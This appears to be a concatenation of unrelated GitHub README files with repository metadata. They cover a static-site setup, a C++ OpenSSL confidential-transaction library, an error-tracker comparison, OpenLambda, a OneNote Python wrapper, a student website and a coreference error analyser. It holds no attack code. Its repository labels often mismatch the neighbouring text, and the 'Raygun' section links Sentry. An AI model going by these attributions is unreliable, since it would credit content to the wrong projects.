```

repository: gaagalex/hacking-lab

repo_name: gaagalex/hacking-lab


text:
To load locally:

1. Clone repository from github

In terminal in directory where you want youre folder:
2. Type 'git clone {repo_name}'
3. Open created folder in IDE
    -you can either cd into that directory then type 'code .' if using VS Code;  or go to your documents/desktop folder and open in preferred IDE
4. In terminal in source file directory run npm install
5. Open index.html in browser

For development

To compile CSS from Sass:
    In terminal:
1. run 'npm install' (you should only need to do this once)
2. run 'npm run scss'

repository: lindseymaae/adrenaline-engineering

gha_language: CSS

repo_name: lindseymaae/adrenaline-engineering


text:
## Specifications

- OS: Linux x64, MAC OS x64

- Language: C++

- Requires: OpenSSL

- The default elliptic curve is "NID_X9_62_prime256v1"

## Installation

The current implementation is based on OpenSSL library. See the installment instructions of OpenSSL as below:

1. Download [openssl-master.zip](https://github.com/openssl/openssl.git)

2. make a directory "openssl" to save the source codes of MIRACL

```
    mkdir openssl
    mv openssl-master.zip /openssl
```

3. unzip it

4. install openssl on your machine

```
    ./config --prefix=/usr/local/ssl shared
    make
    sudo make install
```

---

## Code Structure of PGC_openssl

/depends: depends module

- /common: common module
  * global.hpp: generate global parameters
  * print.hpp: print split line for demo use
  * hash.hpp: case-tailored hash functions based on SHA2
  * routines.hpp: related routine algorithms

- /twisted_elgamal: PKE module
  * twisted_elgamal.hpp: twisted ElGamal PKE
  * calculate_dlog.hpp: discrete logarithm searching algorithm

- /nizk: NIZK module, obtained by applying Fiat-Shamir transform to Sigma-protocols
  * nizk_plaintext_equality.hpp: NIZKPoK for twisted ElGamal plaintext equality
  * nizk_plaintext_knowledge.hpp: NIZKPoK for twisted ElGamal plaintext and randomness knowledge
  * nizk_dlog_equality.hpp: NIZKPoK for discrete logarithm equality

- /bulletproofs: Bulletproofs module
  * basic_bulletproof.hpp: the basic bulletproofs
  * log_bulletproof.hpp: the logarithmic size bulletproofs
  * aggregate_bulletproof.hpp: the aggregating logarithmic size bulletproofs
  * innerproduct_proof.hpp: the inner product argument (used by Bulletproof to shrink the proof size)

- /gadgets: Gadget module
  * gadgets.hpp: two useful gadgets for proving encrypted values lie in the right range

/test: all test files

## Testing

There exists a unit test for each individual module. For example, in twisted_elgamal module,
to run the test of twisted ElGamal PKE, do the following:

```
  $ ./make_twisted_elgamal.sh
  $ ./test_enc # tests the twisted ElGamal PKE
```
You can find the bash files in /previous

To compile and test the PGC system, do the following:

```
  $ mkdir build && cd build
  $ cmake ..
  $ make
  $ ./test_pgc
```

## Demo with Test Cases

set the range size = $[0, 2^\ell = 2^{32}-1 =<PHONE_NUMBER>]$

### Flow of PGC_Demo

   1. run Setup: to build up the system, generating system-wide parameters and store them in "common.para"
   2. run Create_Account to create accounts for Alice ($m_1$) and Bob ($m_2$);
      one can reveal the balance by running Reveal_Balance:
   3. Alice runs Create_CTx to transfer $v_1$ coins to Bob ===> Alice_sn.ctx;
      Print_CTx: shows the details of CTx
   4. Miners runs Verify_CTx: check CTx validity
   5. If CTx is valid, run Update_Account to Update Alice and Bob's account balance and serialize the changes.

### Support to Auditing Polices

   * Selective opne policy: either Alice or Bob can reveal the transfer amount of related CTx in dispute by running Justify_open_policy. Anyone can check if the transfer amount is correct by running Audit_open_policy.

   * Anti-money laundering policy: sender can prove the transfer amount sum of a collection of ctx sent from him does not exceed a give limit by running Justify_limit_policy. Anyone can check if the transfer amount is correct by running Audit_limit_policy.

   * Tax policy: user can prove he paid the incoming tax according to the rules by running Justify_tax_policy. Anyone can check if the transfer amount is correct by running Audit_tax_policy.

### Test Cases
---
Create PGC environment

1. setup the PGC system

2. generate three accounts: Alice, Bob and Tax
   * $512$ --- Alice's initial balance
   * $256$ --- Bob's initial balance
   * $0$   --- Tax's initial balance

3. serialize pp and three accounts

---
Test basic transactions among Alice, Bob and Tax

0. deserialize pp and three accounts

1. 1st Valid CTx: $v_1 = v_2 \wedge v_1 \in [0, \ell] \wedge (m_1 - v_1) \in [0, \ell]$
   - $v    = 128$ --- transfer amount from Alice to Bob
   - $384$ --- Alice's updated balance
   - $384$ --- Bob's updated balance
   - $0$   --- Tax's updated balance

2. Invalid CTx: $v_1 \neq v_2$ $\Rightarrow$ plaintext equality proof will be rejected
   - $v_1 \neq v_2$ --- in transfer amount

3. Invalid CTx: $v \notin [0, 2^\ell]$ $\Rightarrow$ range proof for right interval will be rejected
   - $v  =<PHONE_NUMBER>$ --- transfer amount

4. Invalid CTx: $(m_1 - v) \notin [0, 2^\ell]$ $\Rightarrow$ range proof for solvent
   will be rejected
   - $m_1  = 384$ --- Alice's updated balance
   - $v  = 385$ --- transfer amount

5. 2nd Valid CTx: $v_1 = v_2 \wedge v_1 \in [0, \ell] \wedge (m_1 - v_1) \in [0, \ell]$
   - $v    = 32$ --- transfer amount from Bob to Alice
   - $384$ --- Alice's updated balance
   - $352$ --- Bob's updated balance
   - $32$   --- Tax's updated balance

6. 3st Valid CTx: $v_1 = v_2 \wedge v_1 \in [0, \ell] \wedge (m_1 - v_1) \in [0, \ell]$
   - $v    = 384$ --- transfer amount from Alice to Bob
   - $0$ --- Alice's updated balance
   - $736$ --- Bob's updated balance
   - $32$   --- Tax's updated balance

---
Test auditing policies

1. Open policy: for ctx1
   - $v_1  = 128$ --- Alice's claim (correct)
   - $v_2  = 127$ --- Bob's claim (false)

2. Tax policy: for ctx1 and ctx2
   - tax rate is 1/4 --- Bob's claim (correct)

3. Limit policy: for ctx1 and ctx3
   - limit is 511 --- Alice's claim (false)
   - limit is 512 --- Alice's claim (correct)

---


text:
# Raygun

[Website](https://getsentry.com/)

* Full stack crash reporting tool
* Price $29/mo (10 team members, 30 day history, 20 events/min) - $999/mo (unlimited team, 90 days, 500 events/min)
* SaaS or on-premises
* Can upload source maps
* Some high profile clients

### Quick setup

```bash
# Add to <head></head> tag

<script src="https://cdn.ravenjs.com/2.1.0/raven.min.js"></script>

# Declare in app start

declare var Raven

# Add to main() method

Raven
<EMAIL_ADDRESS>    .install();

#
```

* NPM package (Raven) available, has Angular1-specific Raven package

Relevant tech supported:
* JavaScript
* Node.js
* Objective-C (for iOS)
* Java (for Android)
* C#

Notifications:
* Email
* WhatsApp
* Slack
* Webhooks

Available ticketing integration:
* GitHub
* PivotalTracker
* Slack
* Visual Studio Team Services
* Others

Info:
* Message
* Exception
* Browser
* Device
* Level
* OS
* URL
* User IP
* First / last seen intances of error

Features:
* Able to enable/disable event logging for individual environments
* Enhanced privacy setting (limits personally idenfiable information / source code exposure)
* Search by group/tag/host/OS/browser
* Assign teams with varying permissions (Billing / Member / Admin / Manager / Owner)
* Google / GitHub single sign-on
* Can set delivery frequency
* Events can have custom tags as well as usual Browser/Device/OS etc.
* Errors can be a assigned to a user
* Errors can be linked to external task management software (see 'Available plugins' above)
* Release tracking - automatically record new releases of applications

Negatives:
* No analytics tools like Raygun (though it's a pro feature on Raygun)

repository: npmcdn-to-unpkg-bot/RD

repo_name: npmcdn-to-unpkg-bot/RD


text:
# OpenLambda

OpenLambda is an Apache-licensed serverless computing project, written
in Go and based on Linux containers.  The primary goal of OpenLambda
is to enable exploration of new approaches to serverless computing.  Our
research agenda is described in more detail in a [HotCloud '16
paper](https://www.usenix.org/system/files/conference/hotcloud16/hotcloud16_hendrickson.pdf).

## Getting Started

OpenLambda relies heavily on operations that require root
privilege. To simplify this, we suggest that you run all commands as
the root user.  OpenLambda is only actively tested on Ubuntu 16.04 LTS.

### Build and Test

OL is changing rapidly.  We recommend syncing to a commit that passed our nightly tests: https://s3.us-east-2.amazonaws.com/open-lambda-public/tests.html.

Our tests run on a VM built with this init script:
https://github.com/open-lambda/testing/blob/master/dev-build/bootstrap2.sh.
Thus, you can consider that file testable documentation of the
dependencies.

You can build the `ol` and other resources with just `make`.  Then make sure it works with some simple tests:

```
make test-all
```

### Getting Started

You can create a new OL environment with the following comment:

```
./ol new
```

This creates a directory named `default` with various OL resources.
You can create an OL environment at another location by passing a
`-path=DIRNAME` to the `new` command.

Default config settings were saved to `./default/config.json`.  Modify
them if you wish, then start an OL worker (if you used `-path` above,
use it again with the `worker` command):

```
./ol worker
```

In another terminal, make sure the worker is running with `./ol status`.

Now save the following to `./default/registry/echo.py`:

```python
def f(event):
    return event
```

Now invoke your lambda (the result should be the same as the POST body):

```
curl -X POST localhost:5000/run/echo -d '{"hello": "world"}'
```

When you're done, just kill the worker with `ctrl-C`.  If you want to
run the worker in detached mode (i.e., in the background), just start
it again with the `-d` flag:

```
./ol worker -d
```

You can shutdown a detached worker like this:

```
./ol kill
```

## License

This project is licensed under the Apache License - see the [LICENSE.md](LICENSE.md) file for details.


text:
onepy
=====

COM Object Model for OneNote 2013 in Python

#### What are the requirements for onepy?

* Windows 7 with Python 3.x
* OneNote 2013 or 2010 with your notebooks open

#### How do I setup my environment?

* Install Python 3.4 x86 from [here](https://www.python.org/download/releases/3.4.0/)
* Install PyWin32 for Python 3.4 x86 from [here](http://sourceforge.net/projects/pywin32/files/pywin32/)
* Add `C:\Python34\` to your PATH variable
* Run `C:\Python34\Lib\site-packages\win32com\client\makepy.py`
* Select `Microsoft OneNote 15.0 Extended Type Library`

#### How do I submit a new version to the Package Manager?

* From the repo, run `python.exe setup.py register sdist bdist_wininst upload`

#### How do I install onepy?

`pip install onepy`

#### How do I use onepy?

onepy exposes two main classes - OneNote and ONProcess.

**OneNote**

OneNote is an object model class that lets you read content and hierarchy
from the OneNote application. It exposes them as native python types so you
can read OneNote data without having to muck around with the underlying
COM interfaces.

Updating content via the object model is possible, but not implemented today.

Use OneNote to read content from notebooks:
```python
import onepy

on = onepy.OneNote()

# print a list of notebooks open in the OneNote 2013 client
for notebook in on.hierarchy:
  print (notebook)
```

**ONProcess**

ONProcess is a thin python wrapper around the COM interfaces for the [OneNote API](https://msdn.microsoft.com/en-us/library/office/jj680118\(v=office.15\).aspx).
It simplifies starting up the process, choosing the right process when multiple
versions are available and provides more pythonic interfaces for the OneNote
process.

You'll need to use ONProcess to do anything outside of reading content. Read the
source for onmanager.py for a list of available API calls.

For example, you can export onenote sections to PDF:
```python
import onepy

on = onepy.OneNote()
proc = on.process

def first_section_id():
  for notebook in on.hierarchy:
    for section in notebook:
      return section.id

proc.publish(first_section_id(), "C:\\Users\<account name>\Desktop\onepy-test.pdf", 3)

```

#### Common Errors

```
(Office 2013) This COM object can not automate the makepy process - please run makepy manually for this object
```

To work around this, run regedit.exe, and navigate to
```
HKEY_CLASSES_ROOT\TypeLib\{0EA692EE-BB50-4E3C-AEF0-356D91732725}
```

There should only be one subfolder in this class called 1.1. If you see 1.0 or any other folders, you'll need to delete them. The final hierarchy should look like this:

```
|- {0EA692EE-BB50-4E3C-AEF0-356D91732725}
|     |- 1.1
|         |-0
|         | |- win32
|         |- FLAGDS
|         |- HELPDIR
```

Source: [Stack Overflow](http://stackoverflow.com/questions/16287432/python-pywin-onenote-com-onenote-application-15-cannot-automate-the-makepy-p)


text:
# Delani Studio

[Check it out](https://cleophasmakokha.github.io/delani-studio-project/)
## Description.
Delani Studio is a site built to practice concepts learnt including JQuery, bootstrap, javascript and working with APIS's.

## Author
>Cleophas Makokha

## Screenshot.
<img src="images/screenshot/shot.png" alt="screenshot">

## Setup.
To get a local copy of the site:

`git clone https://github.com/cleophasmakokha/delani-studio-project.git`

`Extract` the cloned file.

`cd` to delani-studio-project folder.

*Launch* `index.html` file.

## Technologies used.
* HTML5
* CSS3
* Bootstrap
* Javascript
* JQuery

## BDD
| Inputs |  Description |
| :---         |          ---: |
| Name   | The users name. `eg Cleophas Makokha`|
| Email     | The users email. ``eg<EMAIL_ADDRESS> |
| Message    | The message from the user.   |

## Bugs.
The MailChimp API doesn't work properly.

## License
>MIT LICENSE © ©2020cleo

## Collaborate
To contribute to Delani studio project , reach me on [Email](makokhacleophas@gmail.com).

## Copyright (c) 2020cleo

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

 IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

repository: cleophasmakokha/delani-studio-project

repo_name: cleophasmakokha/delani-studio-project


text:
This software classifies errors in the output of coreference resolution
systems.  For a full description of the method, and discussion of results when
applied to the systems from the 2011 CoNLL Shared Task, see:

   [Error-Driven Analysis of Challenges in Coreference Resolution](http://www.aclweb.org/anthology/D13-1027)
   Jonathan K. Kummerfeld and Dan Klein,
   EMNLP 2013

To use the system, download it one of these ways, and run classify_coreference_errors.py as shown below:

- [Download .zip](https://github.com/jkkummerfeld/berkeley-coreference-analyser/zipball/master)
- [Download .tar.gz](https://github.com/jkkummerfeld/berkeley-coreference-analyser/tarball/master)
- `git clone https://github.com/jkkummerfeld/berkeley-coreference-analyser.git`

If you use my code in your own work, please cite the paper:

```
@InProceedings{Kummerfeld-Klein:2013:EMNLP,
  author    = {Jonathan K. Kummerfeld  and  Dan Klein},
  title     = {Error-Driven Analysis of Challenges in Coreference Resolution},
  booktitle = {Proceedings of the 2013 Conference on Empirical Methods in Natural Language Processing},
  address   = {Seattle, Washington, USA},
  month     = {October},
  year      = {2013},
  pages     = {265--277},
  url       = {http://www.aclweb.org/anthology/D13-1027},
  software  = {https://github.com/jkkummerfeld/berkeley-coreference-analyser},
}
```

Example of system output (groupings indicate system clusters, colours indicate gold clusters):

![Image of system terminal output](./example_coref_analysis_output.png)

##  Running the System

There are three main programs:

- classify_coreference_errors.py, Classify errors in system output, using the CoNLL output format
- print_errors.py, Print system output in several ways, to illustrate the errors
- coreference_format_conversion.py, Convert the output of several systems to the CoNLL format

Running each with no arguments will provide help information.  Also see the
sample folders for example runs.  These were generated as follows:

```
./classify_coreference_errors.py data/classified/stanford data/gold/ data/homogenised/stanford.homogenised.out T

./print_errors.py data/pretty_printed/stanford data/gold/ data/homogenised/stanford.homogenised.out F

./coreference_format_conversion.py data/homogenised/stanford.homogenised stanford_xml data/stanford_xml_out/ data/gold/
```

For the error analysis runs the files produced are:
- stanford.summary -
   Counts of errors, and counts of the raw operations involved.
- stanford.classified -
   A simple view of the errors.
- stanford.classified.detailed -
   Same as the previous file, but with extra output describing properties of each error.
- stanford.classified.properties -
	 Every error gets a single line, with a list of properties (see the top of the file for an explanation of properties).

The rest of the files are output in the CoNLL format that has some of the
errors corrected, for use in measuring the impact of each error type:

- stanford.gold
- stanford.system
- stanford.corrected.none
- stanford.corrected.span_errors
- stanford.corrected.confused_entities
- stanford.corrected.extra_mention
- stanford.corrected.extra_entity
- stanford.corrected.divided
- stanford.corrected.missing_mention
- stanford.corrected.missing_entity

These are similar to the above files, but with errors progressively corrected,
so by the final file there are no errors left.

- stanford.corrected.extra_mention_prog
- stanford.corrected.extra_entity_prog
- stanford.corrected.divided_prog
- stanford.corrected.missing_mention_prog
- stanford.corrected.missing_entity_prog

Running the commands with an invalid number of arguments will give you the following execution information:

```
 ./classify_coreference_errors.py <output_prefix> <gold_dir> <test_file> [remove singletons? T | F (default is True)]

./print_errors.py <prefix> <gold_dir> <test> [resolve span errors first? T | F]

./coreference_format_conversion.py <prefix> <[cherrypicker,ims,bart,conll,stanford_xml,stanford,uiuc,reconcile]> <dir | file> <gold dir>
```

##  Questions and Answers

Q: What about languages other than English?

A: In principle the code is fairly language agnostic, the main thing that would
need to be altered is the head finder.  I do not plan to add support for other
languages in the near future, but am happy to accept pull requests!

license: ISC